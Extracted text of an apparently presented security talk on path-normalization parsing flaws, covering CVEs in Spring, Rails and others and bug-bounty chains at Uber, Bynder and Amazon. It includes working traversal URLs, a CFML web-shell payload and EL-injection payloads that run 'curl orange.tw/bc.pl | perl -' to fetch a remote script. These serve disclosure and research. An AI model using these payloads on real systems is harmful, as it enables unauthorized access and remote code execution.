Breaking Parser Logic!
Take Your Path Normalization Off and Pop 0days Out
Orange Tsai

Orange Tsai
• Security researcher at DEVCORE• HITCON - Hacks in Taiwan
orange_8361

Agenda1. The blind side of path normalization
2. In-depth review of existing implementations

3. New multi-layered architecture attack surface

Normalize
To make standard; determine the value by comparison toan item of known standard valueWhy normalization?
To protect somethingInconsistency
if (check(data)) {use(data)}

Windows treat as UNC

new URL("file:///etc/passwd?/../../Windows/win.ini")Linux treat as URL

Polyglot URL path
• Rely on getPath() under Windows
URL base = new URL("file:///C:/Windows/temp/");
URL url = new URL(base, "file?/../../win.ini");• Rely on normalization of getFile() or toExternalForm() under LinuxURL base = new URL("file:///tmp/");
URL url = new URL(base, "../etc/passwd?/../../tmp/file");Why path normalization• Most website handle files(and apply lots of security mechanism)• Lack of overall security review• Code change too fast, does the patch and protection still work?

A 5 years Mojarra story
From JavaServer Faces CVE-2013-3827 to CVE-2018-14371

How parsers could be failed?

Can you spot the vulnerability?
static String QUOTED_FILE_SEPARATOR = Pattern.quote(File.separator)
static String DIRECTIVE_FILE_SEPARATOR = '/'public AssetFile getAsset(String relativePath) {if(!relativePath)
return null
relativePath = relativePath.replace( QUOTED_FILE_SEPARATOR,DIRECTIVE_FILE_SEPARATOR)

replace v.s. replaceAll
String replace(String target, String replacement)
String replaceAll(String regex, String replacement)

Can you spot the vulnerability?
static String QUOTED_FILE_SEPARATOR = Pattern.quote(File.separator)
static String DIRECTIVE_FILE_SEPARATOR = '/'Pattern.quote("/") = "\Q/\E"

public AssetFile getAsset(String relativePath) {if(!relativePath)
return null

relativePath = relativePath.replace( QUOTED_FILE_SEPARATOR,DIRECTIVE_FILE_SEPARATOR)

..\Q/\E is the new ../ in Grails

/app/static/ v.s. /app/static
How single slash could be failed?

Nginx off-by-slash fail• First shown in the end of 2016 HCTF - credit to @iaklis• A good attack vector but very few people know
• Nginx says this is not their problem• Nginx alias directive• Defines a replacement for the specified location

Nginx off-by-slash fail
http://127.0.0.1/static../settings.py

location /static {alias /home/app/static/;}
Nginx matches the rule and appends the remainder to destination/home/app/static/../settings.py

How to find this problem?
• Discovered in a private bug bounty program and got the
maximum bounty200

http://target/assets/ app.js

403

http://target/assets/404

http://target/assets/../settings.py

403

http://target/assets../200

http://target/assets../static/app.js

200

http://target/assets../settings.py

0days I found
CVE
Spring Framework

CVE-2018-1271

Spark Framework

CVE-2018-9159

Jenkins

CVE-2018-1999002

MojarraCVE-2018-14371

Ruby on Rails

CVE-2018-3760

SinatraCVE-2018-7212

Next.js

CVE-2018-6184

resolve-path

CVE-2018-3732

Aiohttp

None

Lighttpd

Pending

Agenda1. The blind side of path normalization
2. In-depth review of existing implementations• Discovered Spring Framework CVE-2018-1271• Discovered Ruby on Rails CVE-2018-3760

3. New multi-layered architectures attack surface

Spring 0day - CVE-2018-1271• Directory Traversal with Spring MVC on Windows• Patches of CVE-2014-3625
1. isInvalidPath(path)
2. isInvalidPath(URLDecoder.decode(path, "UTF-8"))
3. isResourceUnderLocation(resource, location)

1 protected boolean isInvalidPath(String path) {2
if (path.contains("WEB-INF") || path.contains("META-INF")) {3
return true;4}5
if (path.contains(":/")) {6
return true;7}8
if (path.contains("..")) {9
path = cleanPath(path);10if (path.contains("../"))
11
return true;
12}
13
Dangerous Pattern :(14
return false;
15 }

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26

public static String cleanPath(String path) {String pathToUse = replace(path, "\\", "/");
String[] pathArray = delimitedListToStringArray(pathToUse, "/");
List<String> pathElements = new LinkedList<>();
int tops = 0;
for (int i = pathArray.length - 1; i >= 0; i--) {String element = pathArray[i];if (".".equals(element)) {}}} else if ("..".equals(element)) {tops++;} else {if (tops > 0)
tops--;
else
pathElements.add(0, element);}for (int i = 0; i < tops; i++) {pathElements.add(0, "..");}
return collectionToDelimitedString(pathElements, "/");

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26

public static String cleanPath(String path) {String pathToUse = replace(path, "\\", "/");
String[] pathArray = delimitedListToStringArray(pathToUse, "/");
List<String> pathElements = new LinkedList<>();
int tops = 0;
for (int i = pathArray.length - 1; i >= 0; i--) {String element = pathArray[i];if (".".equals(element)) {}}} else if ("..".equals(element)) {tops++;} else {if (tops > 0)
tops--;
else
pathElements.add(0, element);}

Allow empty element?

for (int i = 0; i < tops; i++) {pathElements.add(0, "..");}
return collectionToDelimitedString(pathElements, "/");

Spring 0day - CVE-2018-1271
Input

cleanPath

Filesystem/foo/..////foo/../../

/../

/../

/foo//../

/foo/

/

/foo///../../

/foo/

/../

/foo////../../..//foo//../../

Spring 0day - CVE-2018-1271• How to exploit?
$ git clone git@github.com:spring-projects/spring-amqp-samples.git$ cd spring-amqp-samples/stocks$ mvn jetty:run

http://0:8080/spring-rabbit-stock/static/%255c%255c%255c%255c%255c%255c..%255c..%255c..%255c..%255c..%255c..%255c /Windows/win.ini

Spring 0day - CVE-2018-1271• How to exploit?
$ git clone git@github.com:spring-projects/spring-amqp-samples.git$ cd spring-amqp-samples/stocks$ mvn jetty:run

http://0:8080/spring-rabbit-stock/static/%255c%255c%255c%255c%255c%255c..%255c..%255c..%255c..%255c..%255c..%255c/Windows/ win.ini

Do not use Windows
Mitigation from Spring

Bonus on Spark framework• Code infectivity? Spark framework CVE-2018-9159• A micro framework for web application in Kotlin and Java 8commit 27018872d83fe425c89b417b09e7f7fd2d2a9c8c
Author: Per Wendel <per.i.wendel@gmail.com>
Date:
Sun May 18 12:04:11 2014 +0200+++

public static String cleanPath(String path) {if (path == null) {...

Rails 0day - CVE-2018-3760• Path traversal on @rails/sprockets• Sprockets is the built-in asset pipeline system in Rails• Affected Rails under development environment• Or production mode with flag assets.compile on

Vulnerable enough!
$ rails new blog && cd blog
$ rails server
Listening on tcp://0.0.0.0:3000

Rails 0day - CVE-2018-3760
1.

Sprockets supports file:// scheme that bypassed absolute_path?

2. URL decode bypassed double slashes normalization
3. Method split_file_uri resolved URI and unescape again• Lead to double encoding and bypass forbidden_request? and prefix checkh t t p://127.0. 0 .1: 3 0 00 / ass e t s/ f ile : % 2f % 2f/ a p p/ a sse t s /i m age s/%252e%252e/%252e%252e/%252e%252e /etc / passwd

For the RCE lover/tmp/evil.erb• This vulnerability is possible to RCE< % = `i d `%>• Inject query string %3F to File URL• Render as ERB template if the extension is .erb
htt p: / /127.0.0.1: 3 0 00 / ass e t s/ f ile : % 2f % 2f/ a p p/ a sse t s /i m age s / %2 5 2e
%252e/%252e%252e/%252e%252e /tmp/evil.erb %3ftype=text/plain•貓

By Michael Saechang @Flickr

By Jonathan Leung @FlickrBy daisuke1230 @Flickr

Agenda1. The blind side of path normalization
2. In-depth review of existing implementations
3. New multi-layered architecture attack surface• Remote Code Execution on Bynder• Remote Code Execution on Amazon

P.S. Thanks Amazon and Bynder for the quick response time and open-minded vulnerability disclosure

URL path parameter• d http://example.com/foo;name=orange/bar/• Some researchers already mentioned this might lead issues but it still
depends on programming fails• How to make this feature more severely?

Reverse proxy architecture Resource sharing Load balance Cache Security

Tomcat

Clientstatic files- images- scripts- files

ApacheWhen reverse proxy meets…
http://example.com/foo;name=orange/bar/
Behavior
Apache/foo;name=orange/bar/

Nginx/foo;name=orange/bar/IIS/foo;name=orange/bar/

Tomcat/foo/bar/

Jetty/foo/bar/

WildFly/foo

WebLogic/foo

BadProxy.org
Not really! Just a jokeHow danger it could be?
• Bypass whitelist and blacklist ACL• Escape from context mapping• Web container console and management interface• Other servlet contexts on the same server

Am I affected by this vuln?
• This is architecture's problem and vulnerable by default
if you are using reverse proxy with Java as backend service• Apache mod_jk• Apache mod_proxy• Nginx ProxyPass•…

/..;/ seems to be a directory.
Take it!

http://example.com/portal/..;/manager/html

OK! /..;/ isthe parent directory

/..;/ seems to be a directory,
Take it!

http://example.com/portal/..;/manager/html

OK! /..;/ isthe parent directory

Uber bounty case
• Uber disallow direct access *.uberinternal.com• Redirect to OneLogin SSO by Nginx• But we found a whitelist API(for monitor purpose?)

https://jira.uberinternal.com/status

/..;/ seems to be a directorywith the /status whitelist.a
Pass to you!

https://jira.uberinternal.com/status/..;/secure/Dashboard.jspa

Oh shit! /..;/ isthe parent directory

/..;/ seems like a directory,
match /status whitelist

https://jira.uberinternal.com/status/..;/secure/Dashboard.jspa

Oh shit! /..;/ isparent directory

/..;/ seems like a directory,
match /status whitelist

https://jira.uberinternal.com/status/..;/secure/Dashboard.jspa

Oh shit! /..;/ isparent directoryBynder RCE case study• Remote Code Execution on login.getbynder.com• Out of bounty program scope in my original target• But there is a bounty program in the service provider(Bynder)• Abusing inconsistency between web architectures to RCEInconsistency to ACL bypass
HTTP/1.1 200 OK
Server: nginx
Date: Sat, 26 May 2018 06:23:35 GMT
Content-Type: text/html;charset=UTF-8
Set-Cookie: JSESSIONID=C4E5824F9EAE4296BCDE23C...

Inconsistency to ACL bypass

Inconsistency to ACL bypass
https://login.getbynder.com/..;/x

URL

Nginx action/

Rewrite to http://tomcat/index.cfm//fooRewrite to http://tomcat/index.cfm/foo/../

400 Error(by Nginx)/..;/

Rewrite to http://tomcat/index.cfm/..;//..;/xRewrite to http://tomcat/index.cfm/..;/x

/..;/ seems to be a directory,
Take ithttps://login.getbynder.com/..;/railo-context/admin/web.cfm

Oh shit! /..;/ isthe parent directoryMisconfiguration to auth bypass

Misconfiguration to auth bypass• Automatic scaling up but seems to forget the password file
• About 16% chance to meet the misconfigured server(3~4 in 25)• To make things worse, there is the CAPTCHA in login process• We must be lucky to poke the same server on both CAPTCHA andlogin processMisconfiguration to auth bypass

Log injection to RCE• How to pop a shell from Railo admin console?
• Railo supports customized template file and renders the file as CFML
• Changing the 404 template file to/railo-context/../logs/exception.log

Log injection to RCE
Injecting malicious payload to exception.log
https://login.getbynder.com/..;/railo-context/<cfoutput><cfexecute name='/bin/bash' arguments='#Form.shell#'timeout='10' variable='output'></cfexecute>#output#</cfoutput>.cfm

Log injection to RCE$ curl https://login.getbynder.com/..;/railo-context/foo.cfm-d 'SHELL=-c "curl orange.tw/bc.pl | perl -"'Amazon RCE case study• Remote Code Execution on Amazon Collaborate System• Found the site collaborate-corp.amazon.com• Running an open source project Nuxeo• Chained several bugs and features to RCEPath normalization bug leads to
ACL bypass
How does ACL fetch current request page?
protected static String getRequestedPage(HttpServletRequest httpRequest) {String requestURI = httpRequest.getRequestURI();
String context = httpRequest.getContextPath() + '/';
String requestedPage = requestURI.substring(context.length());
int i = requestedPage.indexOf(';');
return i == -1 ? requestedPage : requestedPage.substring(0, i);}Path normalization bug leads to
ACL bypass
The path processing in ACL control is inconsistent with servlet
container so that we can bypass the whitelist
URL

ACL

Container/login;foo/login/login/login;foo/bar;quz/login/login/bar/login;/..;/admin/login/login/../adminCode reuse bug leads toExpression Language injection• Most pages return NullPointerException :(• Nuxeo maps *.xhtml to Seam Framework• We found Seam exposed numerous Hacker-Friendly featuresby reading source code

Seam Feature
http://127.0.0.1/home.xhtml?actionMethod:/foo.xhtml:
utils.escape(...)

aaa

If there is a foo.xhtml under servlet context you can
execute the partial EL with certain format by actionMethod
foo.xhtml"#{util.escape(...)}"

To make thing worse, Seam will evaluate again if the returned
string looks like an EL
http://127.0.0.1/home.xhtml?actionMethod:/foo.xhtml:
utils.escape(...)

foo.xhtml"#{util.escape(...)}"type(string)

return#{malicious}

evaluateTo make thing worse, Seam will evaluate again if the returned
string looks like an EL
http://127.0.0.1/home.xhtml?actionMethod:/foo.xhtml:
utils.escape(...)

DoubleEvaluation

foo.xhtml"#{util.escape(...)}"type(string)

return#{malicious}

evaluateCode reuse bug leads toExpression Language injection
We can execute partial EL in any file under servlet context but
need to find a good gadget to control the return value
widgets/suggest_add_new_directory_entry_iframe.xhtml<nxu:set var="directoryNameForPopup"
value="#{request.getParameter('directoryNameForPopup')}"cache="true">EL blacklist bypassed leads toRemote Code Execution
Blacklist is always a bad idea :(org/jboss/seam/blacklist.properties

g etClass (c lass .
a ddRole(
g etPassword (removeRole ("".getClass().forName("java.lang.Runtime")""["class"].forName("java.lang.Runtime")

Chain all together
1. Path normalization bug leads to ACL bypass
2. Bypass whitelist to access unauthorized Seam servlet
3. Use Seam feature actionMethod to invoke gadgets in a known file

4. Prepare second stage payload in directoryNameForPopup
5. Use array-like operators to bypass the EL blacklist
6. Write the shellcode with Java reflection API and wait for our shell backhttps://host/nuxeo/login.jsp;/..;/create_file.xhtml?actionMethod=widgets/suggest_add_new_directory_entry_iframe.xhtml:
request.getParameter('directoryNameForPopup')&directoryNameForPopup=/?=#{
request.setAttribute('methods',''['class'].forName('java.lang.Runtime').getDeclaredMethods())--request.getAttribute('methods')[15].invoke(
request.getAttribute('methods')[7].invoke(null),'curl orange.tw/bc.pl | perl -')}https://host/nuxeo/login.jsp;/..;/create_file.xhtml?actionMethod=widgets/suggest_add_new_directory_entry_iframe.xhtml:
request.getParameter('directoryNameForPopup')&directoryNameForPopup=/?=#{
request.setAttribute('methods',''['class'].forName('java.lang.Runtime').getDeclaredMethods())--request.getAttribute('methods')[15].invoke(
request.getAttribute('methods')[7].invoke(null),'curl orange.tw/bc.pl | perl -')}https://host/nuxeo/login.jsp;/..;/create_file.xhtml?actionMethod=widgets/suggest_add_new_directory_entry_iframe.xhtml:
request.getParameter('directoryNameForPopup')&directoryNameForPopup=/?=#{
request.setAttribute('methods',''['class'].forName('java.lang.Runtime').getDeclaredMethods())--request.getAttribute('methods')[15].invoke(
request.getAttribute('methods')[7].invoke(null),'curl orange.tw/bc.pl | perl -')}https://host/nuxeo/login.jsp;/..;/create_file.xhtml?actionMethod=widgets/suggest_add_new_directory_entry_iframe.xhtml:
request.getParameter('directoryNameForPopup')&directoryNameForPopup=/?=#{
request.setAttribute('methods',''['class'].forName('java.lang.Runtime').getDeclaredMethods())--request.getAttribute('methods')[15].invoke(
request.getAttribute('methods')[7].invoke(null),'curl orange.tw/bc.pl | perl -')}https://host/nuxeo/login.jsp;/..;/create_file.xhtml?actionMethod=widgets/suggest_add_new_directory_entry_iframe.xhtml:
request.getParameter('directoryNameForPopup')&directoryNameForPopup=/?=#{
request.setAttribute('methods',''['class'].forName('java.lang.Runtime').getDeclaredMethods())--request.getAttribute('methods')[15].invoke(
request.getAttribute('methods')[7].invoke(null),'curl orange.tw/bc.pl | perl -')}https://host/nuxeo/login.jsp;/..;/create_file.xhtml?actionMethod=widgets/suggest_add_new_directory_entry_iframe.xhtml:
request.getParameter('directoryNameForPopup')&directoryNameForPopup=/?=#{
request.setAttribute('methods',''['class'].forName('java.lang.Runtime').getDeclaredMethods())--request.getAttribute('methods')[15].invoke(
request.getAttribute('methods')[7].invoke(null),'curl orange.tw/bc.pl | perl -')}https://host/nuxeo/login.jsp;/..;/create_file.xhtml?actionMethod=widgets/suggest_add_new_directory_entry_iframe.xhtml:
request.getParameter('directoryNameForPopup')&directoryNameForPopup=/?=#{
request.setAttribute('methods',''['class'].forName('java.lang.Runtime').getDeclaredMethods())--request.getAttribute('methods')[15].invoke(
request.getAttribute('methods')[7].invoke(null),'curl orange.tw/bc.pl | perl -')}https://host/nuxeo/login.jsp;/..;/create_file.xhtml?actionMethod=widgets/suggest_add_new_directory_entry_iframe.xhtml:
request.getParameter('directoryNameForPopup')&directoryNameForPopup=/?=#{
request.setAttribute('methods',''['class'].forName('java.lang.Runtime').getDeclaredMethods())--request.getAttribute('methods')[15].invoke(
request.getAttribute('methods')[7].invoke(null),'curl orange.tw/bc.pl | perl -')}Mitigation• Isolate backend application• Remove the management console and other servlet contexts• Check behaviors between proxy and backend servers• I wrote a path(just a PoC) to disable URL path parameter on bothTomcat and Jetty

Summary
1. Inconsistency and implicit propertiy on path parsers
2. New attack surface on multi-layered architectures

3. Case studies in new CVEs and bug bounty programsReference• Java Servlets and URI Parameters
By @cdivilly• 2 path traversal defects in Oracle's JSF2 implementation
By Synopsys Editorial Team• Nginx configuration static analyzer• By @yandexThanks!
orange_8361
orange@chroot.org